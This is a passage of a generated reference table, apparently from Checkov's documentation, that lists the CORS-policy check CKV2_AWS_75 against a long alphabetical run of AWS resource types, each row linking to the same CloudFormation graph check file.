Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 911 | CKV2_AWS_75 | resource | aws_inspector2_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 912 | CKV2_AWS_75 | resource | aws_inspector_assessment_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 913 | CKV2_AWS_75 | resource | aws_inspector_assessment_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 914 | CKV2_AWS_75 | resource | aws_inspector_resource_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 915 | CKV2_AWS_75 | resource | aws_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 916 | CKV2_AWS_75 | resource | aws_internet_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 917 | CKV2_AWS_75 | resource | aws_internet_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 918 | CKV2_AWS_75 | resource | aws_internetmonitor_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 919 | CKV2_AWS_75 | resource | aws_iot_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 920 | CKV2_AWS_75 | resource | aws_iot_billing_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 921 | CKV2_AWS_75 | resource | aws_iot_ca_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 922 | CKV2_AWS_75 | resource | aws_iot_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 923 | CKV2_AWS_75 | resource | aws_iot_domain_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 924 | CKV2_AWS_75 | resource | aws_iot_event_configurations | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 925 | CKV2_AWS_75 | resource | aws_iot_indexing_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 926 | CKV2_AWS_75 | resource | aws_iot_logging_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 927 | CKV2_AWS_75 | resource | aws_iot_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 928 | CKV2_AWS_75 | resource | aws_iot_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 929 | CKV2_AWS_75 | resource | aws_iot_provisioning_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 930 | CKV2_AWS_75 | resource | aws_iot_role_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 931 | CKV2_AWS_75 | resource | aws_iot_thing | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 932 | CKV2_AWS_75 | resource | aws_iot_thing_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 933 | CKV2_AWS_75 | resource | aws_iot_thing_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 934 | CKV2_AWS_75 | resource | aws_iot_thing_principal_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 935 | CKV2_AWS_75 | resource | aws_iot_thing_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 936 | CKV2_AWS_75 | resource | aws_iot_topic_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 937 | CKV2_AWS_75 | resource | aws_iot_topic_rule_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 938 | CKV2_AWS_75 | resource | aws_ivs_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 939 | CKV2_AWS_75 | resource | aws_ivs_playback_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 940 | CKV2_AWS_75 | resource | aws_ivs_recording_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 941 | CKV2_AWS_75 | resource | aws_ivschat_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 942 | CKV2_AWS_75 | resource | aws_ivschat_room | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 943 | CKV2_AWS_75 | resource | aws_kendra_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 944 | CKV2_AWS_75 | resource | aws_kendra_experience | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 945 | CKV2_AWS_75 | resource | aws_kendra_faq | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 946 | CKV2_AWS_75 | resource | aws_kendra_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 947 | CKV2_AWS_75 | resource | aws_kendra_query_suggestions_block_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 948 | CKV2_AWS_75 | resource | aws_kendra_thesaurus | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 949 | CKV2_AWS_75 | resource | aws_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 950 | CKV2_AWS_75 | resource | aws_keyspaces_keyspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 951 | CKV2_AWS_75 | resource | aws_keyspaces_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 952 | CKV2_AWS_75 | resource | aws_kinesis_analytics_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 953 | CKV2_AWS_75 | resource | aws_kinesis_firehose_delivery_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 954 | CKV2_AWS_75 | resource | aws_kinesis_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 955 | CKV2_AWS_75 | resource | aws_kinesis_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 956 | CKV2_AWS_75 | resource | aws_kinesis_stream_consumer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 957 | CKV2_AWS_75 | resource | aws_kinesis_video_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 958 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 959 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 960 | CKV2_AWS_75 | resource | aws_kms_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 961 | CKV2_AWS_75 | resource | aws_kms_ciphertext | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 962 | CKV2_AWS_75 | resource | aws_kms_custom_key_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 963 | CKV2_AWS_75 | resource | aws_kms_external_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 964 | CKV2_AWS_75 | resource | aws_kms_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 965 | CKV2_AWS_75 | resource | aws_kms_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 966 | CKV2_AWS_75 | resource | aws_kms_key_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 967 | CKV2_AWS_75 | resource | aws_kms_replica_external_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 968 | CKV2_AWS_75 | resource | aws_kms_replica_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 969 | CKV2_AWS_75 | resource | aws_lakeformation_data_cells_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 970 | CKV2_AWS_75 | resource | aws_lakeformation_data_lake_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 971 | CKV2_AWS_75 | resource | aws_lakeformation_lf_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 972 | CKV2_AWS_75 | resource | aws_lakeformation_permissions | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 973 | CKV2_AWS_75 | resource | aws_lakeformation_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 974 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 975 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tags | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 976 | CKV2_AWS_75 | resource | aws_lambda_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 977 | CKV2_AWS_75 | resource | aws_lambda_code_signing_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 978 | CKV2_AWS_75 | resource | aws_lambda_event_source_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 979 | CKV2_AWS_75 | resource | aws_lambda_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 980 | CKV2_AWS_75 | resource | aws_lambda_function_event_invoke_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 981 | CKV2_AWS_75 | resource | aws_lambda_function_recursion_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 982 | CKV2_AWS_75 | resource | aws_lambda_function_url | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 983 | CKV2_AWS_75 | resource | aws_lambda_invocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 984 | CKV2_AWS_75 | resource | aws_lambda_layer_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 985 | CKV2_AWS_75 | resource | aws_lambda_layer_version_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 986 | CKV2_AWS_75 | resource | aws_lambda_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 987 | CKV2_AWS_75 | resource | aws_lambda_provisioned_concurrency_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 988 | CKV2_AWS_75 | resource | aws_lambda_runtime_management_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 989 | CKV2_AWS_75 | resource | aws_launch_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 990 | CKV2_AWS_75 | resource | aws_launch_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 991 | CKV2_AWS_75 | resource | aws_lb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 992 | CKV2_AWS_75 | resource | aws_lb_cookie_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 993 | CKV2_AWS_75 | resource | aws_lb_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 994 | CKV2_AWS_75 | resource | aws_lb_listener_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 995 | CKV2_AWS_75 | resource | aws_lb_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 996 | CKV2_AWS_75 | resource | aws_lb_ssl_negotiation_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 997 | CKV2_AWS_75 | resource | aws_lb_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 998 | CKV2_AWS_75 | resource | aws_lb_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 999 | CKV2_AWS_75 | resource | aws_lb_trust_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1000 | CKV2_AWS_75 | resource | aws_lb_trust_store_revocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1001 | CKV2_AWS_75 | resource | aws_lex_bot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1002 | CKV2_AWS_75 | resource | aws_lex_bot_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1003 | CKV2_AWS_75 | resource | aws_lex_intent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1004 | CKV2_AWS_75 | resource | aws_lex_slot_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1005 | CKV2_AWS_75 | resource | aws_lexv2models_bot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1006 | CKV2_AWS_75 | resource | aws_lexv2models_bot_locale | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1007 | CKV2_AWS_75 | resource | aws_lexv2models_bot_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1008 | CKV2_AWS_75 | resource | aws_lexv2models_intent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1009 | CKV2_AWS_75 | resource | aws_lexv2models_slot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1010 | CKV2_AWS_75 | resource | aws_lexv2models_slot_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1011 | CKV2_AWS_75 | resource | aws_licensemanager_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1012 | CKV2_AWS_75 | resource | aws_licensemanager_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1013 | CKV2_AWS_75 | resource | aws_licensemanager_grant_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1014 | CKV2_AWS_75 | resource | aws_licensemanager_license_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1015 | CKV2_AWS_75 | resource | aws_lightsail_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1016 | CKV2_AWS_75 | resource | aws_lightsail_bucket_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1017 | CKV2_AWS_75 | resource | aws_lightsail_bucket_resource_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1018 | CKV2_AWS_75 | resource | aws_lightsail_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1019 | CKV2_AWS_75 | resource | aws_lightsail_container_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1020 | CKV2_AWS_75 | resource | aws_lightsail_container_service_deployment_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1021 | CKV2_AWS_75 | resource | aws_lightsail_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1022 | CKV2_AWS_75 | resource | aws_lightsail_disk | Ensure no open CORS policy | 